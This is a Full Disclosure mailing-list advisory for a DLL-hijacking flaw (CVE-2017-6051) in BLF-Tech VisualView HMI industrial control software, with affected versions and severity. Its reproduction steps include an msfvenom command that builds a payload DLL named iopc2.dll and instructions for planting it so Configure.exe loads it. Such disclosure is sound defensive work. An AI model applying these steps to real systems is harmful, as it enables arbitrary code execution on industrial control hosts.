Vendor: BLF-Tech LLC Equipment: VisualView HMI Software Vulnerability: DLL Hijacking Advisory URL: https://ipositivesecurity.com/2017/05/18/ics-blf-tech-llc-visualview-hmi-software-insecure-library-loading-allows-code-execution/
ICS-CERT Advisory https://ics-cert.us-cert.gov/advisories/ICSA-17-115-01 ------------------------ AFFECTED PRODUCTS ------------------------ The following VisualView HMI versions are affected: VisualView HMI Version 9.9.14.0 and prior. ------------------------ IMPACT ------------------------ An attacker who exploits this vulnerability may be able to remotely execute arbitrary code. ------------------------ VULNERABILITY OVERVIEW ------------------------ UNCONTROLLED SEARCH PATH ELEMENT CWE-427 The uncontrolled search path element vulnerability has been identified, which may allow an attacker to run a malicious DLL file within the search path resulting in execution of arbitrary code. CVE-2017-6051 has been assigned to this vulnerability. A CVSS v3 base score of 7.0 has been assigned; the CVSS vector string is (AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H). ------------------------ Missing Libraries: ------------------------ iopc2.dll ------------------------ Application Executables (that look for missing DLL): ------------------------ Configure.exe ------------------------ Steps to reproduce ------------------------ 1. Generate a dll payload msfvenom –p windows/exec cmd=calc.exe –f dll –o iopc2.dll 2. Place this dll in install directory (or C:\Windows, or any directory defined in the PATH environment variable) C:\app-folder-RW\ 3. Open VisualView from Desktop shortcut icon, or execute Configure.exe from install directory. -> calc.exe +++++ _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
